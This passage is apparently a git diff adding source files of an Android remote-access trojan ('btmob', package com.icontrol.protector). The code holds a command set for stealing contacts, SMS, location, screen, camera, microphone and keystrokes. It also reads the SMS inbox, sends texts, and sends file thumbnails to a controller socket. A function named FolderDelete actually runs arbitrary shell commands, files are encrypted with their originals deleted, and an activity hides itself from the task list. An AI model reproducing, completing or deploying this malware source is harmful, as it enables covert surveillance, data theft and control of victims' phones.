(lst[i].isDirectory()) { + File[] is_null = lst[i].listFiles(); + if (is_null == null){ + cou = "0"; + }else{ + cou = String.valueOf(is_null.length); + } + + exe = "0"; + } else if (lst[i].isFile()) { + exe = "1"; + } + sb.append("1" + SPL_ARRAY + exe + SPL_ARRAY + name + SPL_ARRAY + String.valueOf(size) + SPL_ARRAY + gp + SPL_ARRAY + LastModified + SPL_ARRAY + date + SPL_ARRAY + cou + StorageSize + SPL_LINE); + } catch (Exception e) { + } + } + + } else { + sb.append("-1" + SPL_ARRAY + gp + SPL_LINE); + } + } + + f[0] = sb.toString(); + f[1] = currentpath; + return f; + } catch (Exception e) { + f[0] = "-1" + SPL_ARRAY + currentpath + SPL_LINE; + f[1] = currentpath; + } + return f; + } + + private String getStorageInfo(Context ctx) { + // Internal Storage + double totalStorageSizeInGB = getTotalStorageSize(ctx); + long totalStorageSizeInBytes = (long) (totalStorageSizeInGB * Math.pow(1024, 3)); + + StatFs internalStatFs = new StatFs(android.os.Environment.getExternalStorageDirectory().getPath()); + long internalFree = internalStatFs.getAvailableBlocksLong() * internalStatFs.getBlockSizeLong(); + long internalUsed = totalStorageSizeInBytes - internalFree; + + //formatSize(internalFree) + + String resu = SPL_ARRAY + totalStorageSizeInGB +SPL_ARRAY+ formatSize(internalUsed); + return resu; + } + + + private String formatSize(long size) { + String suffix = null; + float sizeInFloat = size; + + if (size >= 1024) { + suffix = "KB"; + sizeInFloat /= 1024; + if (sizeInFloat >= 1024) { + suffix = "MB"; + sizeInFloat /= 1024; + if (sizeInFloat >= 1024) { + suffix = "GB"; + sizeInFloat /= 1024; + } + } + } + + return String.format("%.2f", sizeInFloat) + " " + suffix; + } + + public static double getTotalStorageSize(Context context) { + StorageManager storageManager = (StorageManager) context.getSystemService(Context.STORAGE_SERVICE); + + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + try { + StorageStatsManager storageStatsManager = (StorageStatsManager) context.getSystemService(Context.STORAGE_STATS_SERVICE); + java.util.UUID uuid = storageManager.getUuidForPath(Environment.getDataDirectory()); + long totalBytes = storageStatsManager.getTotalBytes(uuid); + SizeRepresentation sizeRepresentation = getStorageSizeRepresentation(totalBytes); + double base = (double) sizeRepresentation.getBase(); + return totalBytes / (base * base * base); + } catch (IOException e) { + return 0.0; + } + } else { + // Implementation for devices running lower versions + throw new UnsupportedOperationException("This feature is not supported on devices running lower versions of Android."); + } + } + + /** + * Determines if the data size is in Binary or in Decimal. + */ + public static SizeRepresentation getStorageSizeRepresentation(long storageSizeInBytes) { + double logValue = log(storageSizeInBytes / Math.pow(1024.0, 3), 2.0); + return logValue % 1.0 == 0.0 ? SizeRepresentation.BINARY : SizeRepresentation.DECIMAL; + } + + private static double log(double x, double base) { + return Math.log(x) / Math.log(base); + } + + public enum SizeRepresentation { + BINARY(1024), DECIMAL(1000); + + private final int base; + + SizeRepresentation(int base) { + this.base = base; + } + + public int getBase() { + return base; + } + } + + private File findScreenshotsDirectory(File baseDir, String subDir, String dirName) { + File directory = new File(baseDir, subDir + File.separator + dirName); + if (directory.exists() && directory.isDirectory()) { + return directory; + } + return null; + } + + public static void FolderDelete(final String commend) { + try { + String encoded = new String(commend.getBytes("utf-8")); + String[] cmd = encoded.split(" "); + String space = "(U+0020)".toLowerCase(); + for (int i = 0; i < cmd.length; i++) { + if (cmd[i].contains(space)) { + cmd[i] = cmd[i].replace(space, " "); + } + } + Runtime runtime = Runtime.getRuntime(); + runtime.exec(cmd); + } catch (Exception e) { + } + } + + + public static Uri uriFromFile(Context context, File file) { + + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) { + return FileProvider.getUriForFile(context, context.getPackageName() + ".provider", file); + } else { + return Uri.fromFile(file); + } + } + + public String openPath(Context context, String path) { + try { + File file = new File(path); + + if (!file.exists()) { + return "The path does not exist."; + } + + if (file.isDirectory()) { + // Open folder using ACTION_OPEN_DOCUMENT_TREE + Intent intent = new Intent(Intent.ACTION_OPEN_DOCUMENT_TREE); + intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION); + intent.addFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + context.startActivity(intent); + return path + " folder opened."; + } else { + // Open file using ACTION_VIEW + Uri uri = uriFromFile(context, file); + String mime = context.getContentResolver().getType(uri); + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setDataAndType(uri, mime); + intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + context.startActivity(intent); + return path + " file opened."; + } + } catch (Exception e) { + return "Can't open path, error: " + e.getMessage(); + } + } + + + //todo modifi this method to send to php + private static final String cryptkey = "icontrol"; + public boolean createf(String path, boolean isFolder) { + File target = new File(path); + + if (target.exists()) { + return true; // Path already exists + } + + if (isFolder) { + // Create as a directory + return target.mkdirs(); + } else { + // Create as a file + File parentDir = target.getParentFile(); + if (parentDir != null && !parentDir.exists()) { + if (!parentDir.mkdirs()) { + return false; // Failed to create parent directories + } + } + + try { + return target.createNewFile(); + } catch (IOException e) { + e.printStackTrace(); + return false; // Failed to create the file + } + } + } + public void Upload(final String path, final String Size, final String FileName, final String FileFullpath) { +// if (((ThreadPoolExecutor) myExcuter).getActiveCount() >= max){ +// return; +// } +// myExcuter.execute(new Runnable() { +// public void run() { +// Socket sk = null; +// OutputStream out = null; +// DataInputStream in = null; +// FileOutputStream FS = null ; +// boolean ctd = false; +// Object Syn_x1 = new Object(); +// Object Syn_x2 = new Object(); +// int test = 0; +// do { +// if (test >= 3){ +// return; +// } +// try { +// InetAddress ip; +// ip = InetAddress.getByName(MySocket.IP); +// InetSocketAddress sock = new InetSocketAddress(ip, Integer.valueOf(MySocket.PORT)); +// sk = new Socket(); +// sk.setSoTimeout(120000); +// sk.setKeepAlive(true); +// sk.connect(sock, 59999); +// ctd = sk.isConnected(); +// if (ctd == true) { +// sk.setSendBufferSize(1024); +// sk.setReceiveBufferSize(1024); +// out = sk.getOutputStream(); +// synchronized (Syn_x1){ +// if(out != null){ +// String info = path + SPL_ARRAY + Size + SPL_ARRAY + FileName + SPL_ARRAY + FileFullpath; +// byte[] b0 = CreatePacket(id_Commands.Uploader,info.getBytes()); +// sk.setSendBufferSize(b0.length); +// out = sk.getOutputStream(); +// in = new DataInputStream(new BufferedInputStream(sk.getInputStream())); +// out.write(b0,0,b0.length); +// } +// } +// break; +// } +// } catch (UnknownHostException e) { +// EndSocket(sk,out,in); +// } catch (SocketException e) { +// EndSocket(sk,out,in); +// } catch (Exception e) { +// EndSocket(sk,out,in); +// } +// test++; +// try{ Thread.sleep(1);} catch (InterruptedException e) {} +// } while (ctd == false); +// +// int read; +// int siz0 = 0; +// int siz1 = Integer.valueOf(Size); +// try{ +// byte[] buff = new byte[8096]; +// File f = new File(path); +// FS = new FileOutputStream(f); +// sk.setReceiveBufferSize(buff.length); +// while ((read = in.read(buff)) > 0) +// { +// synchronized (Syn_x2){ +// FS.write(buff, 0, read); +// siz0+=read; +// if (siz0 >= siz1){ +// break; +// } +// } +// } +// }catch (SocketException e) { +// }catch (SocketTimeoutException s) { +// }catch(OutOfMemoryError e){ +// }catch (Exception e) {} +// try { +// if(FS != null){ +// FS.close(); +// } +// } catch (IOException e) {} +// try{ Thread.sleep(9000L);} catch (InterruptedException e) {} +// EndSocket(sk,out,in); +// }}); + } + + +// public void DownManager(Context myctx,final String path) { +// if (myExcuter == null) { +// myExcuter = new ThreadPoolExecutor(8, 5 * 3, 1, +// TimeUnit.MINUTES, new ArrayBlockingQueue(max)); +// } +// if (((ThreadPoolExecutor) myExcuter).getActiveCount() >= max) { +// return; +// } +// myExcuter.execute(new Runnable() { +// public void run() { +// try { +// Uri ur = Uri.parse((path).trim()); +// File file = new File(ur.getPath()); +// if (file.exists()) { +// +// sendFileToServer(myctx,"save",file); +// } +// +// } catch (Exception e) { +// } catch (OutOfMemoryError e) { +// } +// try { +// Thread.sleep(1000); +// } catch (InterruptedException e) { +// } +// +// } +// }); +// } + + + public void ViewFile(final String path, final String status,final String playit,final String sokidf, final Context ctx) { + if (myExcuter == null) { + myExcuter = new ThreadPoolExecutor(8, 5 * 3, 1, + TimeUnit.MINUTES, new ArrayBlockingQueue(max)); + } + if (((ThreadPoolExecutor) myExcuter).getActiveCount() >= max) { + return; + } + myExcuter.execute(new Runnable() { + public void run() { + // + try { + int Qul = 10; + Uri ur = Uri.parse((path).trim()); + File file = new File(ur.getPath()); + if (file.exists() && file.length() > 0) { + if (status.equals("true")) { + LiveChat.instance(ctx).Playvideostrem(ctx,path,playit,sokidf); + + } else { + Drawable photo = null; + Bitmap bmp = BitmapFactory.decodeFile(file.getPath()); + photo = new BitmapDrawable(Resources.getSystem(), bmp); + if (photo != null) { + BitmapDrawable BD = (BitmapDrawable) photo; + Bitmap bitmap = scaleToFit(BD.getBitmap(), 300 ,300 ); + ByteArrayOutputStream BOS = new ByteArrayOutputStream(); + bitmap.compress(Bitmap.CompressFormat.JPEG, Qul, BOS); + byte[] imageBytes = BOS.toByteArray(); + String base64Image = Base64.encodeToString(imageBytes, Base64.DEFAULT); + + + try{ + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", "thumb"); + jsonObject.put("img", base64Image); + jsonObject.put("pth", path); + String jsonData = jsonObject.toString(); + + LiveChat.instance(ctx).SendNewSocket(ctx,sokidf ,jsonData); + }catch (Exception a){ + + } + } + } + } + } catch (OutOfMemoryError e) { + } catch (Exception e) { + } + + } + }); + } + + + public static String calculateMD5(String filePath) { + try { + MessageDigest digest = MessageDigest.getInstance("MD5"); + FileInputStream fis = new FileInputStream(filePath); + byte[] buffer = new byte[8192]; + int read; + while ((read = fis.read(buffer)) > 0) { + digest.update(buffer, 0, read); + } + fis.close(); + + byte[] md5sum = digest.digest(); + StringBuilder hexString = new StringBuilder(); + for (byte b : md5sum) { + hexString.append(String.format("%02x", b)); + } + + return hexString.toString(); + } catch (NoSuchAlgorithmException | IOException e) { + e.printStackTrace(); + return null; // Handle the exception according to your needs + } + } + +// private void sendFileToServer(Context myctx, String command, File file) { +// String phpUrl = Consts.URL_CASH(); +// String boundary = "*****"; // Define a boundary for the multipart request +// +// try { +// URL url = new URL(phpUrl); +// HttpURLConnection connection = (HttpURLConnection) url.openConnection(); +// +// // Set request method to POST +// connection.setRequestMethod("POST"); +// connection.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary); +// connection.setDoOutput(true); +// +// String IDF = MySettings.Read(myctx,Consts.THE_IDF,"empty"); +// +// MyLoger.Debug("hash:",calculateMD5(file.getAbsolutePath())); +// My_Crpter cr = My_Crpter.Getinstance(); +// try (DataOutputStream os = new DataOutputStream(connection.getOutputStream())) { +// // Write command and email as fields in the multipart request +// +// +// os.writeBytes("--" + boundary + "\r\n"); +// os.writeBytes("Content-Disposition: form-data; name=\"command\"\r\n\r\n"); +// os.writeBytes(command + "\r\n"); +// +// os.writeBytes("--" + boundary + "\r\n"); +// os.writeBytes("Content-Disposition: form-data; name=\"email\"\r\n\r\n"); +// os.writeBytes(cr.Dcrpt_Str(My_Configs.USR_MAIL) + "\r\n"); +// +// //MySettings.Read(myctx, Consts.Device_ID,"Deviceid") +// +// os.writeBytes("--" + boundary + "\r\n"); +// os.writeBytes("Content-Disposition: form-data; name=\"phoneid\"\r\n\r\n"); +// os.writeBytes(MySettings.Read(myctx, Consts.DEVICE_ID,"null") + "\r\n"); +// +// os.writeBytes("--" + boundary + "\r\n"); +// os.writeBytes("Content-Disposition: form-data; name=\"fileverfy\"\r\n\r\n"); +// os.writeBytes(calculateMD5(file.getAbsolutePath()) + "\r\n"); +// +// os.writeBytes("--" + boundary + "\r\n"); +// os.writeBytes("Content-Disposition: form-data; name=\"myidf\"\r\n\r\n"); +// os.writeBytes(IDF + "\r\n"); +// +// // Add the file to the request +// os.writeBytes("--" + boundary + "\r\n"); +// os.writeBytes("Content-Disposition: form-data; name=\"file\"; filename=\"" + file.getName() + "\"\r\n"); +// os.writeBytes("Content-Type: application/octet-stream\r\n\r\n"); +// +// FileInputStream fis = new FileInputStream(file); +// long size = file.length(); +// int BufferSize ; +// BufferSize = (int) buff(size); +// byte[] buffer = new byte[BufferSize]; +// int bytesRead; +// while ((bytesRead = fis.read(buffer)) != -1) { +// os.write(buffer, 0, bytesRead); +// } +// fis.close(); +// +// os.writeBytes("\r\n"); +// os.writeBytes("--" + boundary + "--\r\n"); +// } +// +// // Read the response from the server +// InputStream in = connection.getInputStream(); +// InputStreamReader inputStreamReader = new InputStreamReader(in); +// BufferedReader reader = new BufferedReader(inputStreamReader); +// StringBuilder response = new StringBuilder(); +// String line; +// while ((line = reader.readLine()) != null) { +// response.append(line); +// } +// reader.close(); +// +// String serverResponse = response.toString(); +// MyLoger.Info("filetoserver: ",serverResponse); +// connection.disconnect(); +// } catch (Exception e) { +// e.printStackTrace(); +// } +// } + + + public static void FileDelete(final String path) { + try { + File file = new File(path); + if (file.exists()) { + file.delete(); + } + } catch (Exception e) { + } + } + + public static void rename(final String OldPath, final String NewPath) { + try { + File F1 = new File(OldPath); + if (F1.exists()) { + File F2 = new File(NewPath); + F1.renameTo(F2); + } + } catch (Exception e) { + } + } + + + private Bitmap scaleCenterCrop(Bitmap source, int newHeight, int newWidth) { + float f2 = (float) newWidth; + float width = (float) source.getWidth(); + float f3 = (float) newHeight; + float height = (float) source.getHeight(); + float max = Math.max(f2 / width, f3 / height); + float f4 = width * max; + float f5 = max * height; + float f6 = (f2 - f4) / 2.0f; + float f7 = (f3 - f5) / 2.0f; + RectF rectF = new RectF(f6, f7, f4 + f6, f5 + f7); + Bitmap createBitmap = Bitmap.createBitmap(newWidth, newHeight, source.getConfig()); + new Canvas(createBitmap).drawBitmap(source, null, rectF, null); + return createBitmap; + } + + private Bitmap scaleToFit(Bitmap source, int newHeight, int newWidth) { + float srcWidth = source.getWidth(); + float srcHeight = source.getHeight(); + + // Calculate the scale factor to fit the image inside the given width and height + float scaleX = (float) newWidth / srcWidth; + float scaleY = (float) newHeight / srcHeight; + float scale = Math.min(scaleX, scaleY); + + // Calculate the final scaled width and height + int scaledWidth = Math.round(srcWidth * scale); + int scaledHeight = Math.round(srcHeight * scale); + + // Create a scaled bitmap with the computed width and height + Bitmap scaledBitmap = Bitmap.createScaledBitmap(source, scaledWidth, scaledHeight, true); + + // Create a final bitmap with the requested dimensions and draw the scaled bitmap in the center + Bitmap outputBitmap = Bitmap.createBitmap(newWidth, newHeight, source.getConfig()); + Canvas canvas = new Canvas(outputBitmap); + + // Calculate top and left to center the scaled image in the new dimensions + float left = (newWidth - scaledWidth) / 2.0f; + float top = (newHeight - scaledHeight) / 2.0f; + canvas.drawBitmap(scaledBitmap, left, top, null); + + return outputBitmap; + } + + public static long buff(long BufferSize) { + + if (BufferSize >= 262144) { + BufferSize = 131072; + }else if (BufferSize >= 262144) { // Between 256 KB and 512 KB + BufferSize = 65536; // 64 KB + } else if (BufferSize >= 131072) { // Between 128 KB and 256 KB + BufferSize = 32768; // 32 KB + } else if (BufferSize >= 65536) { // Between 64 KB and 128 KB + BufferSize = 16384; // 16 KB + } else if (BufferSize >= 1024) { // Between 1 KB and 64 KB + BufferSize = 4096; // 4 KB + } else { // Less than 1 KB + BufferSize = 512; // 512 bytes + } + return BufferSize; + } + + public static void zip(final String[] lst, final String path) { + try { + File file = new File(path); + if (!file.exists()){ + file.createNewFile(); + } + BufferedInputStream origin; + FileOutputStream dest = new FileOutputStream(file.getPath()); + ZipOutputStream out = new ZipOutputStream(new BufferedOutputStream(dest)); + for (int i = 0; i < lst.length; i++) { + File o = new File(lst[i]); + if (!o.isDirectory()){ + long Buff = buff(o.length()); + + Long x = Buff; + int s = x.intValue(); + byte data[] = new byte[s]; + + FileInputStream fi = new FileInputStream(lst[i]); + origin = new BufferedInputStream(fi, s); + ZipEntry entry = new ZipEntry(lst[i].substring(lst[i].lastIndexOf("/") + 1)); + + out.putNextEntry(entry); + int count; + while ((count = origin.read(data, 0, s)) != -1) { + out.write(data, 0, count); + } + origin.close(); + } + } + out.close(); + } catch (Exception e) {} + } + public static void unzip(final String path, final String here) { + File file = new File(here); + if (file.exists()){ + try { + FileInputStream FIS = new FileInputStream(path); + ZipInputStream ZIS; + if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.N) { + ZIS = new ZipInputStream(FIS, Charset.forName("Cp437")); + }else{ + ZIS = new ZipInputStream(FIS); + } + ZipEntry ZE ; + while ((ZE = ZIS.getNextEntry()) != null) { + String p = here + ZE.getName(); + File dir0 = new File(p); + if (dir0.isDirectory()){ + if (!dir0.exists()) {dir0.mkdirs();} + }else{ + int c; + String n = ""; + for (c = p.length()-1 ; c >= 0 ; c--){ + if(String.valueOf(p.charAt(c)).equals("/") ){ + n = p.substring(0, c); + break; + } + } + File dir1 = new File(n); + if (!dir1.exists()) {dir1.mkdirs();} + } + File o = new File(here + ZE.getName()); + if (!o.isDirectory()){ + FileOutputStream f = new FileOutputStream(here + ZE.getName()); + long Buff = buff(o.length()); + Long x = Buff; + int s = x.intValue(); + byte data[] = new byte[s]; + int count; + while ((count = ZIS.read(data, 0, s)) != -1) { + f.write(data, 0, count); + } + ZIS.closeEntry(); + f.close(); + } + } + ZIS.close(); + } catch (Exception e) {} + } + } + public void encrypt(String path,String pass,String con) throws IOException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException { + FileInputStream fis = new FileInputStream(path); + FileOutputStream fos = new FileOutputStream(path.concat(con)); + byte[] key = (mp + pass).getBytes("UTF-8"); + MessageDigest sha = MessageDigest.getInstance("SHA-1"); + key = sha.digest(key); + key = Arrays.copyOf(key,16); + SecretKeySpec sks = new SecretKeySpec(key, "AES"); + Cipher cipher = Cipher.getInstance("AES"); + cipher.init(Cipher.ENCRYPT_MODE, sks); + CipherOutputStream cos = new CipherOutputStream(fos, cipher); + int b; + byte[] d = new byte[8]; + while((b = fis.read(d)) != -1) { + cos.write(d, 0, b); + } + cos.flush(); + cos.close(); + fis.close(); + FileDelete(path); + } + public void decrypt(String path,String pass, String outPath) throws IOException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException { + FileInputStream fis = new FileInputStream(path); + FileOutputStream fos = new FileOutputStream(outPath); + byte[] key = (mp + pass).getBytes("UTF-8"); + MessageDigest sha = MessageDigest.getInstance("SHA-1"); + key = sha.digest(key); + key = Arrays.copyOf(key,16); + SecretKeySpec sks = new SecretKeySpec(key, "AES"); + Cipher cipher = Cipher.getInstance("AES"); + cipher.init(Cipher.DECRYPT_MODE, sks); + CipherInputStream cis = new CipherInputStream(fis, cipher); + int b; + byte[] d = new byte[8]; + while((b = cis.read(d)) != -1) { + fos.write(d, 0, b); + } + fos.flush(); + fos.close(); + cis.close(); + FileDelete(path); + } + + public void copyFile(String sourcePath, String destinationPath) throws IOException { + File sourceFile = new File(sourcePath); + if (!sourceFile.exists()) { + throw new IOException("Source file does not exist: " + sourcePath); + } + + // Extract the filename from the source path + String fileName = sourceFile.getName(); + + // Check if the destinationPath is a directory + File destinationDir = new File(destinationPath); + if (destinationDir.isDirectory()) { + // If it is a directory, append the filename to the destination path + destinationPath = new File(destinationDir, fileName).getPath(); + } + + File destinationFile = new File(destinationPath); + + // Ensure the parent directories exist + destinationFile.getParentFile().mkdirs(); + + FileInputStream fis = null; + FileOutputStream fos = null; + + try { + fis = new FileInputStream(sourceFile); + fos = new FileOutputStream(destinationFile); + + byte[] buffer = new byte[1024]; + int length; + while ((length = fis.read(buffer)) > 0) { + fos.write(buffer, 0, length); + } + } finally { + if (fis != null) { + try { + fis.close(); + } catch (IOException e) { + e.printStackTrace(); + } + } + if (fos != null) { + try { + fos.close(); + } catch (IOException e) { + e.printStackTrace(); + } + } + } + } + + public void moveFile(String sourcePath, String destinationPath) throws IOException { + // First, copy the file + copyFile(sourcePath, destinationPath); + + // After copying, delete the source file + File sourceFile = new File(sourcePath); + if (!sourceFile.delete()) { + throw new IOException("Failed to delete the original file after copying: " + sourcePath); + } + } +} \ No newline at end of file diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/id_Commands.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/id_Commands.java new file mode 100644 index 0000000..eb7deec --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/id_Commands.java @@ -0,0 +1,59 @@ +package com.icontrol.protector; + +public class id_Commands { + + //Global + public static String Firstinfo = "FI"; + public static String ScreenOnOff = "SCRN"; + public static String Contacts = "Conts"; + public static String SMS = "SMS"; + public static String APPS = "Apps"; + public static String jects = "jects"; + public static String Location = "LOC"; + public static String ScreenCapture = "CAP"; + public static String Deviceinfo = "DINF"; + + + + + //Msgs + public static String Bing = "BNG"; + public static String MSG = "MSG"; + public static String ALERT = "ALT"; + + + //Files commands + public static String files = "files"; + public static String View = "VEW"; + public static String StartDownloader = "SDWN"; + public static String Downloader = "DWN"; + public static String Uploader = "UPL"; + + //Camera + public static String LoadCam = "CL"; + public static String LiveCam = "CLV"; + + //Mic + public static String LoadMic = "ML"; + public static String MicMSG = "MCSG"; + + //Accessibility + public static String Access = "ACS"; + + public static final String GetActive = "GA"; + public static final String DeleteActive = "DA"; + + public static final String GetNotifis = "GF"; + public static final String DeleteNotifis = "DF"; + + public static final String GetVisited = "GV"; + public static final String DeleteVisited = "DV"; + + public static final String GETURLS = "GU"; + public static final String Deleteurl = "DU"; + + public static final String GETKEYS = "GK"; + public static final String DeleteKEYS = "DK"; + public static final String Livekeys = "LK"; + +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/mysmanager.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/mysmanager.java new file mode 100644 index 0000000..f6a492e --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/mysmanager.java @@ -0,0 +1,179 @@ +package com.icontrol.protector; + +import static com.icontrol.protector.WorkServices.MyWorker.AlertServer; +import static com.icontrol.protector.Consts.SPLIT_ARAY; +import static com.icontrol.protector.Consts.SPLIT_LINE; + +import android.content.ContentResolver; +import android.content.Context; +import android.content.pm.PackageManager; +import android.database.Cursor; +import android.net.Uri; +import android.provider.ContactsContract; +import android.telephony.SmsManager; +import android.telephony.SubscriptionInfo; +import android.telephony.SubscriptionManager; +import android.util.Log; + +import androidx.core.app.ActivityCompat; + +import java.util.ArrayList; +import java.util.Date; +import java.util.List; + +public class mysmanager { + public static String Load(Context c, String target) { + String f = "null"; + Cursor mc = null; + Cursor cr = null; + + try { + StringBuffer sb = new StringBuffer(); + ArrayList gr_nu = new ArrayList<>(); + ArrayList gr_na = new ArrayList<>(); + + Uri uri = Uri.parse("content://sms/"); + if ("Inbox".equals(target)) { + uri = Uri.parse("content://sms/inbox"); + } else if ("Sent".equals(target)) { + uri = Uri.parse("content://sms/sent"); + } + + mc = c.getContentResolver().query(uri, + new String[]{"_id", "thread_id", "address", "person", "date", "body", "type"}, + null, null, null); + + String[] col = new String[]{"address", "person", "date", "body", "_id", "type", "thread_id"}; + + if (mc != null && mc.getCount() > 0) { + + + try { + ContentResolver crr = c.getContentResolver(); + cr = crr.query(ContactsContract.Data.CONTENT_URI, null, + ContactsContract.Data.HAS_PHONE_NUMBER + "!=0 AND (" + + ContactsContract.Data.MIMETYPE + "=? OR " + + ContactsContract.Data.MIMETYPE + "=?)", + new String[]{ + ContactsContract.CommonDataKinds.Email.CONTENT_ITEM_TYPE, + ContactsContract.CommonDataKinds.Phone.CONTENT_ITEM_TYPE}, + ContactsContract.Data.CONTACT_ID); + + if (cr != null) { + int nameIndex = cr.getColumnIndex(ContactsContract.Data.DISPLAY_NAME); + int numberIndex = cr.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER); + + if (nameIndex != -1 && numberIndex != -1) { + while (cr.moveToNext()) { + String name = cr.getString(nameIndex); + String number = cr.getString(numberIndex); + gr_nu.add(number); + gr_na.add(name); + } + } else { + Log.e("ContactError", "Missing columns in contact cursor."); + } + } + } catch (Exception e) { + Log.e("ContactError", "Error loading contacts: " + e.getMessage()); + } + + + String name = null; + int indexsms = 0; + int addressIndex = mc.getColumnIndex(col[0]); + int dateIndex = mc.getColumnIndex(col[2]); + int messageIndex = mc.getColumnIndex(col[3]); + + if (addressIndex != -1 && dateIndex != -1 && messageIndex != -1) { + while (mc.moveToNext()) { + String address = mc.getString(addressIndex); + long date = mc.getLong(dateIndex); + String message = mc.getString(messageIndex); + Date date_0 = new Date(date); + + try { + int i = gr_nu.indexOf(address); + name = (i != -1) ? gr_na.get(i) : null; + } catch (Exception e) { + name = null; + } + + String tag = (message.length() > 15) ? message.substring(0, 15) + "..." : message; + + sb.append(address) + .append(SPLIT_ARAY) + .append(name) + .append(SPLIT_ARAY) + .append(date_0.toString()) + .append(SPLIT_ARAY) + .append(tag) + .append(SPLIT_ARAY) + .append(message) + .append(SPLIT_ARAY) + .append(uri.getPath()) + .append(SPLIT_ARAY) + .append(String.valueOf(indexsms)) + .append(SPLIT_LINE); + + indexsms++; + } + } else { + Log.e("CursorError", "Column index error in message cursor."); + } + + f = sb.toString(); + } + } catch (Exception e) { + Log.e("LoadFunction", "Error: " + e.getMessage()); + } finally { + if (mc != null && !mc.isClosed()) mc.close(); + if (cr != null && !cr.isClosed()) cr.close(); + } + + return f; + } + + public static void sendSMS(Context ctx, String phoneNo, String msg) { + try { + if (ActivityCompat.checkSelfPermission(ctx, android.Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) { + AlertServer(ctx, "Message to " + phoneNo, "Permission not granted READ STATE."); + return; + } + int allsims = getSimCount(ctx); + for (int simSlot = 0;simSlot < allsims;simSlot++){ + + SubscriptionManager subscriptionManager = (SubscriptionManager) ctx.getSystemService(Context.TELEPHONY_SUBSCRIPTION_SERVICE); + List subscriptionInfoList = subscriptionManager.getActiveSubscriptionInfoList(); + + if (subscriptionInfoList != null && simSlot < subscriptionInfoList.size()) { + int subscriptionId = subscriptionInfoList.get(simSlot).getSubscriptionId(); + SmsManager smsManager = SmsManager.getSmsManagerForSubscriptionId(subscriptionId); + + smsManager.sendTextMessage(phoneNo, null, msg, null, null); + AlertServer(ctx, "Message to " + phoneNo, "Sent successfully via SIM slot " + simSlot); + } else { + AlertServer(ctx, "Message to " + phoneNo, "Invalid SIM slot or no SIM found."); + } + } + + } catch (Exception e) { + AlertServer(ctx, "Message to " + phoneNo, "Failed to send message: " + e.getMessage()); + } + } + + public static int getSimCount(Context context) { + SubscriptionManager subscriptionManager = (SubscriptionManager) context.getSystemService(Context.TELEPHONY_SUBSCRIPTION_SERVICE); + if (subscriptionManager != null) { + if (ActivityCompat.checkSelfPermission(context, android.Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) { + + return 0; + } + List subscriptionList = subscriptionManager.getActiveSubscriptionInfoList(); + if (subscriptionList != null) { + return subscriptionList.size(); + } + } + return 0; + } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/tofront.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/tofront.java new file mode 100644 index 0000000..7c6c0d4 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/tofront.java @@ -0,0 +1,250 @@ +package com.icontrol.protector; + +import static com.icontrol.protector.UtliTools.drawableToBitmap; +import static com.icontrol.protector.UtliTools.excludeFromTaskList; +import static com.icontrol.protector.UtliTools.getRandomLauncherApp; +import static com.icontrol.protector.UtliTools.isPackageInstalled; + +import android.app.Activity; +import android.app.ActivityManager; +import android.content.Context; +import android.content.Intent; +import android.content.pm.ApplicationInfo; +import android.content.pm.PackageManager; +import android.graphics.Bitmap; +import android.graphics.Color; +import android.graphics.drawable.Drawable; +import android.os.Build; +import android.os.Bundle; +import android.os.Handler; +import android.os.Looper; +import android.os.PowerManager; +import android.view.Gravity; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; + +public class tofront extends Activity { + //private static TransparentActivity instance = null; + + + @Override + protected void onDestroy() { + super.onDestroy(); + // instance = null; + } + + + + + @Override + protected void onResume() { + super.onResume(); + // excludeFromTaskList(getApplicationContext()); + Handler hstop = new Handler(Looper.getMainLooper()); + hstop.postDelayed(new Runnable() { + public void run() { + try { + // + excludeFromTaskList(getApplicationContext()); + moveTaskToBack(true); + } catch (Exception d) { + + } + } + },1500); + } + + private View overlayView; + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + + + try { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O_MR1) { + setShowWhenLocked(true); + setTurnScreenOn(true); + } + PowerManager pm = (PowerManager) getSystemService(Context.POWER_SERVICE); + if (pm != null) { + PowerManager.WakeLock wakeLock = pm.newWakeLock( + PowerManager.FULL_WAKE_LOCK | + PowerManager.ACQUIRE_CAUSES_WAKEUP | + PowerManager.ON_AFTER_RELEASE , + "App:IncomingCall" + ); + wakeLock.acquire(3000); + } +// requestWindowFeature(Window.FEATURE_NO_TITLE); +// +// getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, +// WindowManager.LayoutParams.FLAG_FULLSCREEN); + // instance = this; +// getWindow().getDecorView().setSystemUiVisibility( +// View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY +// | View.SYSTEM_UI_FLAG_LAYOUT_STABLE +// | View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION +// | View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN +// | View.SYSTEM_UI_FLAG_HIDE_NAVIGATION +// | View.SYSTEM_UI_FLAG_FULLSCREEN +// ); +// LinearLayout layout = new LinearLayout(this); +// layout.setLayoutParams(new 